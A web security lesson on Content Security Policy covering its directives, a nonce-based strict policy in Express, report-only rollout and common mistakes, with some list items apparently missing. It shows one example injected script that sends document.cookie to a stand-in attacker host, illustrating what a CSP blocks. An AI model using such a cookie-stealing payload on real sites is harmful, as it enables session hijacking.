Output encoding is your first defense against cross-site scripting, but one missed template or one careless third-party widget is enough to reintroduce it. Content Security Policy (CSP) is the second layer: an HTTP header that tells the browser which scripts, styles and other resources a page is allowed to load and execute. Even if an attacker injects a <script> tag, a well-built CSP stops it from running.
In this lesson you will learn how the main directives work, how to build a nonce-based "strict" policy in Express, how to roll it out safely with report-only mode, and the mistakes that make a policy useless.
The server sends a Content-Security-Policy header. Each directive names a resource type and a list of allowed sources:
Content-Security-Policy: default-src 'self'; script-src 'nonce-R4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'The browser then refuses anything not on the list. Crucially, when script-src is present, inline scripts and eval() are blocked by default. That single rule removes the payload of most XSS attacks, because injected code is almost always inline.
| Directive | Controls | Recommended value |
|---|---|---|
| default-src | Fallback for every other fetch directive | 'self' |
| script-src | JavaScript execution | nonce plus 'strict-dynamic' |
| style-src | Stylesheets | 'self' (or a nonce) |
| img-src, font-src, connect-src | Images, fonts, fetch/XHR/WebSocket targets | 'self' plus your CDN or API |
| object-src | Plugins such as Flash-era embeds | 'none' |
| base-uri | The <base> tag, which can redirect relative script URLs | 'self' |
| frame-ancestors | Who may embed this page in an iframe (clickjacking) | 'none' or your own origin |
| form-action | Where forms may submit | 'self' |
frame-ancestors supersedes the older X-Frame-Options header, and base-uri and object-src close two well-known bypasses; always include all three.
Host allowlists (script-src cdn.example.com) were the original approach, but they fail as soon as the CDN hosts any abusable script. The modern recommendation is a nonce-based policy:
<script> tag.'strict-dynamic' so scripts loaded by a nonced script are trusted too, without listing their hosts.<!-- Allowed: carries the nonce for this response -->
<script nonce="<%= nonce %>" src="/app.js"></script>
<!-- Blocked: injected by an attacker, no valid nonce -->
<script>fetch("https://attacker.example.com/?c=" + document.cookie)</script>Because the nonce changes on every response, the attacker cannot guess it. Never reuse a nonce across responses and never cache a page that contains one.
Deploying a strict policy on an existing site breaks things you forgot about: inline event handlers, an analytics snippet, a legacy widget. Start in report-only mode, which logs violations without blocking:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'nonce-…' 'strict-dynamic'; report-uri /csp-reportThe browser posts a JSON document describing each violation (blocked-uri, violated-directive, document-uri) to /csp-report. Collect these for a week, fix the legitimate cases by adding nonces or moving inline code into files, then switch the header name to Content-Security-Policy. Helmet supports this with reportOnly: true.
'unsafe-inline' in script-src. It re-enables inline scripts and defeats the purpose of the policy.https: or *.cloudfront.net, which trust thousands of unrelated sites.object-src and base-uri. Both provide script-execution paths that bypass script-src.<meta> tag when a header is possible; frame-ancestors and report directives are ignored in meta.Why does a nonce-based policy stop an injected `<script>` tag?
'strict-dynamic' over host allowlists.object-src 'none', base-uri 'self' and frame-ancestors to close known bypasses.Content-Security-Policy-Report-Only and a report endpoint before enforcing.'unsafe-inline' or broad wildcards to script-src.Next lesson: File Upload Security — validating, storing and serving user files without turning your server into a malware host.